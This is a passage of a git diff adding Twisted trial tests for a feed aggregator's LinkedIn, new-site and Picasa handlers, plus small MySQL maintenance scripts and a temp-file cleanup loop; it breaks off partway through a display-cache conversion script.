+    # test refreshing with an addition
+    def test_RefreshAdd(self):
+        return self.setupRefresh(self.done_test_RefreshAdd)
+
+    def done_test_RefreshAdd(self):
+        rm = self.setupRefreshManager()
+
+        self.site.sync()
+        self.old_current = simplejson.loads(self.site.current)
+        self.old_len = len(self.old_current)
+
+        rm.state["testfail"] = "linkedin_parse_add"
+
+        d = rm.doCommand(self.sr_id)
+        d.addCallback(self.check_RefreshAdd)
+
+        return d
+
+    def check_RefreshAdd(self, *args, **kw):
+        model = self.m.model
+
+        # check to make sure that the current entry now has the new item
+        self.site.sync()
+
+        # check to make sure that the site was updated (was set to
+        # None in setupDone)
+        assert(self.site.lastUpdate)
+
+        # get the change that was just added
+        change = model.SiteChanges.selectBy(site=self.site)
+        assert(change.count() == 1)
+        change = simplejson.loads(change[0].data)
+
+        lc = LinkedInCompare()
+        current = simplejson.loads(self.site.current)
+        assert(len(current) == (self.old_len + 1))
+
+        # check to make sure that a site_changed entry has been added
+        # with the right text
+        changes = lc.getChanges(self.old_current, current)
+
+        assert(len(changes["removed"]) == 0)
+        assert(len(changes["removed"]) == len(change["removed"]))
+        assert(len(changes["added"]) == 1)
+        assert(len(changes["added"]) == len(change["added"]))
+        assert(changes["added"][0] == u'Awesome Dude at Some Other Place')
+        assert(changes["added"][0] == change["added"][0])
+
+    # test refreshing with one thing removed
+    def test_RefreshRemove(self):
+        return self.setupRefresh(self.done_test_RefreshRemove)
+
+    def done_test_RefreshRemove(self):
+        rm = self.setupRefreshManager()
+
+        self.site.sync()
+        self.old_current = simplejson.loads(self.site.current)
+        self.old_len = len(self.old_current)
+
+        rm.state["testfail"] = "linkedin_parse_remove"
+
+        d = rm.doCommand(self.sr_id)
+        d.addCallback(self.check_RefreshRemove)
+
+        return d
+
+    def check_RefreshRemove(self, *args, **kw):
+        model = self.m.model
+
+        # check to make sure that the current entry now has the new item
+        self.site.sync()
+
+        # check to make sure that the site was updated (was set to
+        # None in setupDone)
+        assert(self.site.lastUpdate)
+
+        # get the change that was just added
+        change = model.SiteChanges.selectBy(site=self.site)
+        assert(change.count() == 1)
+        change = simplejson.loads(change[0].data)
+
+        lc = LinkedInCompare()
+        current = simplejson.loads(self.site.current)
+        assert(len(current) == (self.old_len - 1))
+
+        # check to make sure that a site_changed entry has been added
+        # with the right text
+        changes = lc.getChanges(self.old_current, current)
+
+        assert(len(changes["removed"]) == 1)
+        assert(len(changes["removed"]) == len(change["removed"]))
+        assert(len(changes["added"]) == 0)
+        assert(len(changes["added"]) == len(change["added"]))
+        assert(changes["removed"][0] == u'Chairman and President, Products at LinkedIn')
+        assert(changes["removed"][0] == change["removed"][0])
+
+    # test refreshing with a total deletion
+    def test_RefreshEmpty(self):
+        return self.setupRefresh(self.done_test_RefreshEmpty)
+
+    def done_test_RefreshEmpty(self):
+        rm = self.setupRefreshManager()
+
+        self.site.sync()
+        self.old_current = simplejson.loads(self.site.current)
+        self.old_len = len(self.old_current)
+
+        rm.state["testfail"] = "linkedin_parse_empty"
+
+        d = rm.doCommand(self.sr_id)
+        d.addCallback(self.check_RefreshEmpty)
+
+        return d
+
+    def check_RefreshEmpty(self, *args, **kw):
+        model = self.m.model
+
+        # check to make sure that the current entry now has the new item
+        self.site.sync()
+
+        # check to make sure that the site was updated (was set to
+        # None in setupDone)
+        assert(self.site.lastUpdate)
+
+        # get the change that was just added
+        change = model.SiteChanges.selectBy(site=self.site)
+        assert(change.count() == 1)
+        change = simplejson.loads(change[0].data)
+
+        lc = LinkedInCompare()
+        current = simplejson.loads(self.site.current)
+        assert(len(current) == 0)
+
+        # check to make sure that a site_changed entry has been added
+        # with the right text
+        changes = lc.getChanges(self.old_current, current)
+
+        assert(len(changes["removed"]) == len(self.old_current))
+        assert(len(changes["removed"]) == len(change["removed"]))
+        assert(len(changes["added"]) == 0)
+        assert(len(change["added"]) == 0)
+
+    # XXX test what happens when something goes from found -> not found?
+
+    # XXX add tests to make sure that the date on the site_change items is
+    # XXX set properly
+
diff --git a/tests/twisted/network/test_newsite.py b/tests/twisted/network/test_newsite.py
new file mode 100644 (file)
index 0000000..6fa14b8
--- /dev/null
@@ -0,0 +1,282 @@
+# network tests for newsite
+
+from twisted.trial import unittest
+
+from tests.twisted.database import MySQLTestInstance
+
+from services.command.controller import NewSiteManager
+from services.command.database import DatabaseCommandManager
+from services.command.service import ServiceManager
+from services.command.exceptions import PageNotFoundError, FeedNotFoundError, InvalidFeedError
+
+import simplejson
+import re
+
+class TestNewSite(unittest.TestCase):
+    def setUp(self):
+        self.dcm = None
+        self.m = MySQLTestInstance()
+
+    def tearDown(self):
+        if self.dcm:
+            self.dcm.stop()
+
+    def setupManagers(self):
+        self.dcm = DatabaseCommandManager()
+        self.dcm.start(self.m.connection_type, self.m.connection_dict)
+        self.sm = ServiceManager()
+
+    def test_NewSiteManager(self):
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+        self.ns = model.NewSite(person=p, url="http://www.0xdeadbeef.com/weblog", status="new")
+        self.setupManagers()
+
+        nsm = NewSiteManager(self.sm, self.dcm)
+        d = nsm.doCommand(self.ns.id)
+
+        return d
+
+    def test_NewSitePageNotFound(self):
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+        self.ns = model.NewSite(person=p, url="http://www.0xdeadbeef.com/notreallyhere", status="new")
+        self.setupManagers()
+
+        nsm = NewSiteManager(self.sm, self.dcm)
+        d = nsm.doCommand(self.ns.id)
+
+        d.addCallback(lambda x: self.fail("should always fail"))
+        d.addErrback(self.newSitePageNotFoundErrorHandler)
+
+        return d
+
+    def newSitePageNotFoundErrorHandler(self, failure):
+        failure.trap(PageNotFoundError)
+        model = self.m.model
+        ns = model.NewSite.get(self.ns.id)
+        ns.sync()
+        assert(ns.status == "error")
+        assert(ns.error == "page_not_found")
+
+    def newSiteFeedNotFoundErrorHandler(self, failure):
+        failure.trap(FeedNotFoundError)
+        model = self.m.model
+        ns = model.NewSite.get(self.ns.id)
+        ns.sync()
+        assert(ns.status == "error")
+        assert(ns.error == "feed_not_found")
+
+    def test_NewSiteFeedNotFound(self):
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+        self.ns = model.NewSite(person=p, url="http://localhost:9090/static/tests/empty.html", status="new")
+        self.setupManagers()
+
+        nsm = NewSiteManager(self.sm, self.dcm)
+        d = nsm.doCommand(self.ns.id)
+
+        d.addCallback(lambda x: self.fail("should always fail"))
+        d.addErrback(self.newSiteFeedNotFoundErrorHandler)
+
+        return d
+
+    def test_NewSiteInvalidFeed(self):
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+        self.ns = model.NewSite(person=p, url="http://localhost:9090/static/tests/empty_feed.html", status="new")
+        self.setupManagers()
+
+        nsm = NewSiteManager(self.sm, self.dcm)
+        d = nsm.doCommand(self.ns.id)
+
+        d.addCallback(lambda x: self.fail("should always fail"))
+        d.addErrback(self.newSiteInvalidFeedErrorHandler)
+
+        return d
+
+    def newSiteInvalidFeedErrorHandler(self, failure):
+        failure.trap(InvalidFeedError)
+        model = self.m.model
+        ns = model.NewSite.get(self.ns.id)
+        ns.sync()
+        assert(ns.status == "error")
+        assert(ns.error == "invalid_feed")
+
+    def test_NewSiteInvalidRSS(self):
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+        self.ns = model.NewSite(person=p, url="http://localhost:9090/static/tests/empty_file.atom", status="new")
+        self.setupManagers()
+
+        nsm = NewSiteManager(self.sm, self.dcm)
+        d = nsm.doCommand(self.ns.id)
+
+        d.addCallback(lambda x: self.fail("should always fail"))
+        d.addErrback(self.newSiteInvalidFeedErrorHandler)
+
+        return d
+
+    def test_NewSiteMultipleFeeds(self):
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+        self.ns = model.NewSite(person=p, url="http://localhost:9090/static/tests/multiple_feeds.html", status="new")
+        self.setupManagers()
+
+        nsm = NewSiteManager(self.sm, self.dcm)
+        d = nsm.doCommand(self.ns.id)
+
+        d.addCallback(self.confirmMultipleFeeds)
+
+        return d
+
+    def confirmMultipleFeeds(self, *args, **kw):
+        self.ns.sync()
+        assert(self.ns.status == "pick_url")
+        d = simplejson.loads(self.ns.data)
+        print d
+        assert(len(d))
+
+    def test_NewSiteRelativeFeed(self):
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+        self.ns = model.NewSite(person=p, url="http://localhost:9090/static/tests/relative_feed.html", status="new")
+        self.setupManagers()
+
+        nsm = NewSiteManager(self.sm, self.dcm)
+        d = nsm.doCommand(self.ns.id)
+
+        d.addCallback(self.confirmRelativeFeed)
+
+        return d
+
+    def confirmRelativeFeed(self, *args, **kw):
+        self.ns.sync()
+        assert(self.ns.status == "done")
+
+        s = self.ns.site
+        s.sync()
+        assert(s)
+
+        assert(s.feed == "http://localhost:9090/static/tests/relative_feed.atom")
+        assert(s.url == "http://localhost:9090/blog/")
+
+        h = s.history
+        assert(len(h))
+
+    def test_NewSiteRelativeEntries(self):
+        """
+        This test includes both a relative link for the url and also
+        for each entry.
+        """
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+        self.ns = model.NewSite(person=p, url="http://localhost:9090/static/tests/relative-links.html", status="new")
+        self.setupManagers()
+
+        nsm = NewSiteManager(self.sm, self.dcm)
+        d = nsm.doCommand(self.ns.id)
+
+        d.addCallback(self.confirmRelativeLinks)
+
+        return d
+
+    def confirmRelativeLinks(self, *args, **kw):
+        self.ns.sync()
+        s = self.ns.site
+        s.sync()
+
+        assert(s.history[0].link == "http://localhost:9090/blog/2008/05/05/VMWare-Workstation-Hardy-Heron-VMWare-Tools")
+        assert(self.ns.status == "done")
+
+    def test_NewSiteRelativeEntriesRelativeLink(self):
+        """
+        This test includes both a relative entry and relative link.
+        """
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+        self.ns = model.NewSite(person=p, url="http://localhost:9090/static/tests/relative-feed-relative-links.html", status="new")
+        self.setupManagers()
+
+        nsm = NewSiteManager(self.sm, self.dcm)
+        d = nsm.doCommand(self.ns.id)
+
+        d.addCallback(self.confirmRelativeLinks)
+
+        return d
+
+    def test_NewSiteRelativeEntriesNoLink(self):
+        """
+        This test includes both a relative entry and relative link.
+        """
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+        self.ns = model.NewSite(person=p, url="http://localhost:9090/static/tests/no-feed-relative-links.html", status="new")
+        self.setupManagers()
+
+        nsm = NewSiteManager(self.sm, self.dcm)
+        d = nsm.doCommand(self.ns.id)
+
+        d.addCallback(self.confirmRelativeLinks)
+
+        return d
+
+    def test_NewSiteRelativeEntriesGitHub(self):
+        """
+        This test includes both a relative entry and relative link.
+        """
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+        self.ns = model.NewSite(person=p, url="http://github.com/krh", status="new")
+        self.setupManagers()
+
+        nsm = NewSiteManager(self.sm, self.dcm)
+        d = nsm.doCommand(self.ns.id)
+
+        d.addCallback(self.confirmRelativeLinksGitHub)
+
+        return d
+
+    def confirmRelativeLinksGitHub(self, *args, **kw):
+        self.ns.sync()
+        s = self.ns.site
+        s.sync()
+
+        print(s.url)
+        assert(s.url == "http://github.com/")
+        print(s.feed)
+        assert(s.feed == "http://github.com/krh.atom")
+        print(s.history[0].link)
+        assert(re.match("http://www.github.com/krh/.+", s.history[0].link))
+        assert(self.ns.status == "done")
+
+    def test_NewSiteRelativeEntriesReddit(self):
+        """
+        This test includes both a relative entry and relative link.
+        """
+        model = self.m.model
+        p = model.Person(name="Christopher Blizzard")
+        self.ns = model.NewSite(person=p, url="http://www.reddit.com/user/jeresig/.rss", status="new")
+        self.setupManagers()
+
+        nsm = NewSiteManager(self.sm, self.dcm)
+        d = nsm.doCommand(self.ns.id)
+
+        d.addCallback(self.confirmRelativeLinksReddit)
+
+        return d
+
+    def confirmRelativeLinksReddit(self, *args, **kw):
+        self.ns.sync()
+        s = self.ns.site
+        s.sync()
+
+        print(s.url)
+        assert(s.url == "http://reddit.com/")
+        print(s.feed)
+        assert(s.feed == "http://www.reddit.com/user/jeresig/.rss")
+        print(s.history[0].link)
+        assert(re.match("http://reddit.com/.+", s.history[0].link))
+        assert(self.ns.status == "done")
+
+
diff --git a/tests/twisted/network/test_picasa.py b/tests/twisted/network/test_picasa.py
new file mode 100644 (file)
index 0000000..2458a4f
--- /dev/null
@@ -0,0 +1,94 @@
+# tests for adding a new picasa site
+
+from twisted.trial import unittest
+
+from tests.twisted.database import MySQLTestInstance
+
+from services.command.database import DatabaseCommandManager
+from services.command.service import ServiceManager
+from services.command.controller import NewPicasaManager
+
+class TestPicasa(unittest.TestCase):
+    def setUp(self):
+        self.dcm = None
+        self.m = MySQLTestInstance()
+
+    def tearDown(self):
+        if self.dcm:
+            self.dcm.stop()
+
+    def setupManagers(self):
+        self.dcm = DatabaseCommandManager()
+        self.dcm.start(self.m.connection_type, self.m.connection_dict)
+        self.sm = ServiceManager()
+
+    def setupNewPicasa(self, url=None):
+        model = self.m.model
+        p = model.Person(name="Bryan Clark")
+
+        if url == None:
+            url = "http://picasaweb.google.com/clarkbw"
+
+        ns = model.NewSite(person=p, url=url, status="new")
+
+        self.ns_id = ns.id
+        self.setupManagers()
+
+        return NewPicasaManager(self.dcm, self.sm)
+
+    def confirmSuccess(self, *args, **kw):
+        model = self.m.model
+        ns = model.NewSite.get(self.ns_id)
+        ns.sync()
+        assert(ns.siteID)
+        assert(ns.status == "done")
+        site = model.Site.get(ns.siteID)
+        site.sync()
+        assert(site)
+
+    def confirmFailure(self, *args, **kw):
+        model = self.m.model
+        ns = model.NewSite.get(self.ns_id)
+        ns.sync()
+        assert(ns.status == "error")
+        assert(ns.error == "page_not_found")
+
+    # pass in a valid picasa username
+    def test_NewPicasaSuccess(self):
+        np = self.setupNewPicasa()
+
+        d = np.doCommand(self.ns_id)
+        d.addCallback(self.confirmSuccess)
+
+        return d
+
+    # pass in a valid, but unknown picasa username
+    def test_NewPicasaFailure(self):
+        np = self.setupNewPicasa(url="http://picasaweb.google.com/assdsfsd")
+
+        d = np.doCommand(self.ns_id)
+        d.addCallback(lambda x: unittest.fail("should always fail"))
+        d.addErrback(self.confirmFailure)
+
+        return d
+
+    # PicasaPollFeed()
+    # cause the service to fail on startup
+    # cause the service to fail during processing
+
+    # PicasaCreateCommand()
+    # cause a database error during insert
+
+    # FeedUpdateDatabaseCommand()
+    # failure to open state["feed_parsed_filename"] from pollfeed
+    # make sure that entries are added to the database
+    # make sure that updateSite updates the url (["link"] in the feed)
+
+    # make sure that updateSite updates the last_update field is
+    # updated from the feed or is updated from the local time
+
+    # NewSiteDone()
+    # make sure that the new site done flag is set
+
+    # NewSiteError()
+    # make sure the error flag is set
diff --git a/tests/twisted/network/test_picasa_preview.py b/tests/twisted/network/test_picasa_preview.py
new file mode 100644 (file)
index 0000000..9e98fc2
--- /dev/null
@@ -0,0 +1,91 @@
+# tests for adding a new picasa site
+
+from twisted.trial import unittest
+
+from tests.twisted.database import MySQLTestInstance
+
+from services.command.database import DatabaseCommandManager
+from services.command.service import ServiceManager
+from services.command.controller import PicasaPreviewManager
+
+class TestPicasa(unittest.TestCase):
+    def setUp(self):
+        self.dcm = None
+        self.m = MySQLTestInstance()
+
+    def tearDown(self):
+        if self.dcm:
+            self.dcm.stop()
+
+    def setupManagers(self):
+        self.dcm = DatabaseCommandManager()
+        self.dcm.start(self.m.connection_type, self.m.connection_dict)
+        self.sm = ServiceManager()
+
+    def setupNewPicasa(self, url=None):
+        model = self.m.model
+        p = model.Person(name="Bryan Clark")
+
+        if url == None:
+            url = "http://picasaweb.google.com/clarkbw"
+
+        ns = model.NewSite(person=None, url=url, status="preview")
+
+        self.ns_id = ns.id
+        self.setupManagers()
+
+        return PicasaPreviewManager(self.dcm, self.sm)
+
+    def confirmSuccess(self, *args, **kw):
+        model = self.m.model
+        ns = model.NewSite.get(self.ns_id)
+        ns.sync()
+        assert(ns.status == "preview_done")
+        assert(ns.data)
+
+    def confirmFailure(self, *args, **kw):
+        model = self.m.model
+        ns = model.NewSite.get(self.ns_id)
+        ns.sync()
+        assert(ns.status == "error")
+        assert(ns.error == "page_not_found")
+
+    # pass in a valid picasa username
+    def test_NewPicasaSuccess(self):
+        np = self.setupNewPicasa()
+
+        d = np.doCommand(self.ns_id)
+        d.addCallback(self.confirmSuccess)
+
+        return d
+
+    # pass in a valid, but unknown picasa username
+    def test_NewPicasaFailure(self):
+        np = self.setupNewPicasa(url="http://picasaweb.google.com/assdsfsd")
+
+        d = np.doCommand(self.ns_id)
+        d.addCallback(lambda x: unittest.fail("should always fail"))
+        d.addErrback(self.confirmFailure)
+
+        return d
+
+    # PicasaPollFeed()
+    # cause the service to fail on startup
+    # cause the service to fail during processing
+
+    # PicasaCreateCommand()
+    # cause a database error during insert
+
+    # FeedUpdateDatabaseCommand()
+    # failure to open state["feed_parsed_filename"] from pollfeed
+    # make sure that entries are added to the database
+    # make sure that updateSite updates the url (["link"] in the feed)
+
+    # make sure that updateSite updates the last_update field is
+    # updated from the feed or is updated from the local time
+
+    # NewSiteDone()
+    # make sure that the new site done flag is set
+
+    # NewSiteError()
+    # make sure the error flag is set
diff --git a/tests/twisted/network/test_picasa_refresh.py b/tests/twisted/network/test_picasa_refresh.py
new file mode 100644 (file)
index 0000000..9369bc7
--- /dev/null
@@ -0,0 +1,92 @@
+# tests for refreshing picasa
+
+from twisted.trial import unittest
+
+from datetime import datetime
+
+from tests.twisted.database import MySQLTestInstance
+
+from services.command.database import DatabaseCommandManager
+from services.command.service import ServiceManager
+from services.command.controller import PicasaRefreshManager
+
+class TestPicasaRefresh(unittest.TestCase):
+
+    def setUp(self):
+        self.dcm = None
+        self.m = MySQLTestInstance()
+
+    def tearDown(self):
+        if self.dcm:
+            self.dcm.stop()
+
+    def setupManagers(self):
+        self.dcm = DatabaseCommandManager()
+        self.dcm.start(self.m.connection_type, self.m.connection_dict)
+        self.sm = ServiceManager()
+
+    def test_PicasaRefreshManager(self):
+        self.setupManagers()
+        model = self.m.model
+
+        p = model.Person(name="Bryan Clark")
+        self.site = model.Site(person=p, url="http://picasaweb.google.com/clarkbw", type="picasa",
+                               feed="http://picasaweb.google.com/data/feed/api/user/clarkbw?kind=photo&thumbsize=64",
+                               feedType="atom10", title="Photos! By! Clark!", created=datetime.utcnow(),
+                               lastUpdate = None,
+                               lastPoll = None, current = None)
+
+        self.sr = model.SiteRefresh(site=self.site, status="new")
+
+        self.prm = PicasaRefreshManager(self.dcm, self.sm)
+        d = self.prm.doCommand(self.sr.id)
+
+        d.addCallback(self.confirmRefresh)
+
+        return d
+
+    def confirmRefresh(self, *args, **kw):
+        self.sr.sync()
+        assert(self.sr.status == "done")
+
+        self.site.sync()
+        history = self.site.history
+
+        assert(history)
+        assert(len(history))
+
+        assert(self.site.lastPoll is not None)
+        assert(self.site.lastUpdate is not None)
+
+    def test_PicasaRefreshManagerFail(self):
+        self.setupManagers()
+        model = self.m.model
+
+        p = model.Person(name="Bryan Clark")
+        self.site = model.Site(person=p, url="http://picasaweb.google.com/clarkbwblah", type="picasa",
+                               feed="http://picasaweb.google.com/data/feed/api/user/clarkbw?kind=photo&thumbsize=64",
+                               feedType="atom10", title="Photos! By! Clark!", created=datetime.utcnow(),
+                               lastUpdate = None,
+                               lastPoll = None, current = None)
+
+        self.sr = model.SiteRefresh(site=self.site, status="new")
+
+        self.prm = PicasaRefreshManager(self.dcm, self.sm)
+        d = self.prm.doCommand(self.sr.id)
+
+        d.addCallback(lambda x: unittest.fail("should always fail"))
+        d.addErrback(self.confirmRefreshFail)
+
+        return d
+
+    def confirmRefreshFail(self, failure):
+        self.sr.sync()
+        assert(self.sr.status == "error")
+
+        self.site.sync()
+        history = self.site.history
+
+        assert(len(history) == 0)
+
+        assert(self.site.lastPoll is None)
+        assert(self.site.lastUpdate is None)
diff --git a/tests/twisted/network/test_previewsite.py b/tests/twisted/network/test_previewsite.py
new file mode 100644 (file)
index 0000000..2a1ac62
--- /dev/null
@@ -0,0 +1,58 @@
+from twisted.trial import unittest
+
+from tests.twisted.database import MySQLTestInstance
+
+from services.command.controller import PreviewSiteManager
+from services.command.database import DatabaseCommandManager
+from services.command.service import ServiceManager
+
+import simplejson
+
+class TestPreviewSite(unittest.TestCase):
+
+    def setUp(self):
+        self.dcm = None
+        self.sm = None
+        self.m = MySQLTestInstance()
+
+    def tearDown(self):
+        if self.dcm:
+            self.dcm.stop()
+
+        if self.sm:
+            self.sm.shutdown()
+
+    def setupManagers(self):
+        self.dcm = DatabaseCommandManager()
+        self.dcm.start(self.m.connection_type, self.m.connection_dict)
+        self.sm = ServiceManager()
+
+    def test_PreviewSiteManager(self):
+        model = self.m.model
+        self.ns = model.NewSite(person=None, url="http://www.0xdeadbeef.com/weblog", status="preview")
+        self.setupManagers()
+
+        psm = PreviewSiteManager(self.sm, self.dcm)
+        d = psm.doCommand(self.ns.id)
+
+        return d
+
+    def test_PreviewNoLink(self):
+        model = self.m.model
+        self.ns = model.NewSite(person=None, url="http://localhost:9090/static/tests/no-link.html", status="preview")
+        self.setupManagers()
+
+        psm = PreviewSiteManager(self.sm, self.dcm)
+        d = psm.doCommand(self.ns.id)
+
+        d.addCallback(self.verifyLink)
+
+        return d
+
+    def verifyLink(self, *args, **kw):
+        self.ns.sync()
+        assert(self.ns.status == "preview_done")
+        d = simplejson.loads(self.ns.data)
+        assert(d["feed"]["link"] == "http://localhost:9090/static/tests/no-link.html")
+        print d
+        
diff --git a/utils/archive-site-history.py b/utils/archive-site-history.py
new file mode 100755 (executable)
index 0000000..238fd4a
--- /dev/null
@@ -0,0 +1,79 @@
+#!/usr/bin/python
+
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import MySQLdb
+
+def get_sites(c):
+    q = "SELECT DISTINCT site_id FROM site_history"
+    c.execute(q)
+    return [x[0] for x in c.fetchall()]
+
+def get_site_101th_id(c, site):
+    q = "SELECT id from site_history where site_id = %d order by id desc limit 300,1" % site
+    c.execute(q)
+    r = c.fetchall()
+    if r:
+        return r[0][0]
+
+    return None
+
+def migrate_records(c, site, top_id):
+    q = "REPLACE INTO site_history_archive SELECT * FROM site_history WHERE site_id = %d AND id <= %d" % (site, top_id)
+    c.execute(q)
+
+def delete_records(c, site, top_id):
+    q = "DELETE from site_history where site_id = %d and id <= %d" % (site, top_id)
+    c.execute(q)
+
+import sys
+sys.path.append("..")
+import services.config as config
+config.read("utils.cfg")
+
+db = MySQLdb.connect(db=config.get("db", "db"),
+                     user=config.get("db", "user"),
+                     passwd=config.get("db", "passwd"))
+                     
+c = db.cursor()
+
+# get a list of the sites that we have in the table
+sites = get_sites(c)
+
+# for each of those sites find the item that's number 101
+for s in sites:
+    print("site %d" % s)
+    top_id = get_site_101th_id(c, s)
+    if top_id == None:
+        print("no top id")
+        continue
+
+    print("top id %d" % top_id)
+
+    print("migrating")
+    migrate_records(c, s, top_id)
+
+    print("deleting")
+    delete_records(c, s, top_id)
+
+
diff --git a/utils/clean_site_history_dups.py b/utils/clean_site_history_dups.py
new file mode 100755 (executable)
index 0000000..506c6b7
--- /dev/null
@@ -0,0 +1,107 @@
+#!/usr/bin/python
+
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+from datetime import datetime
+import MySQLdb
+
+total_dups = 0
+dup_items = []
+
+def print_items(item1, item2):
+    for i in range(1, len(item1)):
+        print("%s" % str(item1[i]))
+        print("%s" % str(item2[i]))
+
+def get_sites(c):
+    q = """
+SELECT distinct(site_id) from site_history
+"""
+    c.execute(q)
+    return [i[0] for i in c.fetchall()]
+
+def clean_dups(c, site):
+    global total_dups
+    global dup_items
+    print("checking site %d" % site)
+    q = """
+SELECT
+id,
+title,
+link,
+published,
+updated,
+summary,
+content
+FROM
+site_history
+WHERE
+site_id = %d
+ORDER BY
+id
+    """ % site
+    c.execute(q)
+    items = c.fetchall()
+    dups = 0
+
+    for i in range(1, len(items)):
+        new_item = items[i]
+        # walk backwards up the array looking for dups that are earlier
+        for j in range(0, i):
+            old_item = items[j]
+            if old_item[1] == new_item[1] and \
+               old_item[2] == new_item[2] and \
+               old_item[3] == new_item[3] and \
+               old_item[4] == new_item[4] and \
+               old_item[5] == new_item[5] and \
+               old_item[6] == new_item[6]:
+                print("dup %d found of item %d" % (new_item[0], old_item[0]))
+                print_items(old_item, new_item)
+                total_dups = total_dups+1
+                print("total is %d" % total_dups)
+                dup_items.append(new_item[0])
+
+import sys
+sys.path.append("..")
+import services.config as config
+config.read("utils.cfg")
+
+db = MySQLdb.connect(db=config.get("db", "db"),
+                     user=config.get("db", "user"),
+                     passwd=config.get("db", "passwd"))
+c = db.cursor()
+
+all_sites = get_sites(c)
+print all_sites
+
+for site in all_sites:
+    clean_dups(c, site)
+
+print("total is %d" % total_dups)
+print("starting delete")
+
+for i in dup_items:
+    print("deleting %d" % i)
+    q = "delete from site_history where id = %d" % i
+    c.execute(q)
+
diff --git a/utils/clean_site_refresh.py b/utils/clean_site_refresh.py
new file mode 100755 (executable)
index 0000000..8314b0b
--- /dev/null
@@ -0,0 +1,15 @@
+#!/usr/bin/python
+
+import MySQLdb
+
+import sys
+sys.path.append("..")
+import services.config as config
+config.read("utils.cfg")
+
+db = MySQLdb.connect(db=config.get("db", "db"),
+                     user=config.get("db", "user"),
+                     passwd=config.get("db", "passwd"))
+
+c = db.cursor()
+c.execute("DELETE FROM site_refresh WHERE status = 'done' or status = 'error'")
diff --git a/utils/clean_tmp.sh b/utils/clean_tmp.sh
new file mode 100755 (executable)
index 0000000..a726257
--- /dev/null
@@ -0,0 +1,7 @@
+#!/bin/sh
+while `true`
+do
+  echo cleaning
+  find /tmp -mmin +60 -and -name tmp\* -exec rm -f {} \;
+  sleep 3600
+done
diff --git a/utils/convert-display-cache.py b/utils/convert-display-cache.py
new file mode 100755 (executable)
index 0000000..1a46cfc
--- /dev/null
@@ -0,0 +1,58 @@
+#!/usr/bin/python
+
+# Copyright (c) 2007-2008 Christopher Blizzard <blizzard@0xdeadbeef.com>
+#
+# Permission is hereby granted, free of charge, to any person
+# obtaining a copy of this software and associated documentation files
+# (the "Software"), to deal in the Software without restriction,
+# including without limitation the rights to use, copy, modify, merge,
+# publish, distribute, sublicense, and/or sell copies of the Software,
+# and to permit persons to whom the Software is furnished to do so,
+# subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+# SOFTWARE.
+
+import simplejson
+import MySQLdb
+
+import sys
+sys.path.append("..")
+import services.config as config
+config.read("utils.cfg")
+
+print("don't use this script unless you're drunk.  or stupid.")
+sys.exit(2)
+
+db = MySQLdb.connect(db=config.get("db", "db"),
+                     user=config.get("db", "user"),
+                     passwd=config.get("db", "passwd"))
+
+c = db.cursor()
+q = """
+    SELECT id, display_cache FROM site_history WHERE
+        site_id IN (SELECT id FROM site WHERE
+        type = 'flickr') and display_cache is not null
+    """
+
+c.execute(q)
+
+r = c.fetchone()
+
+while r:
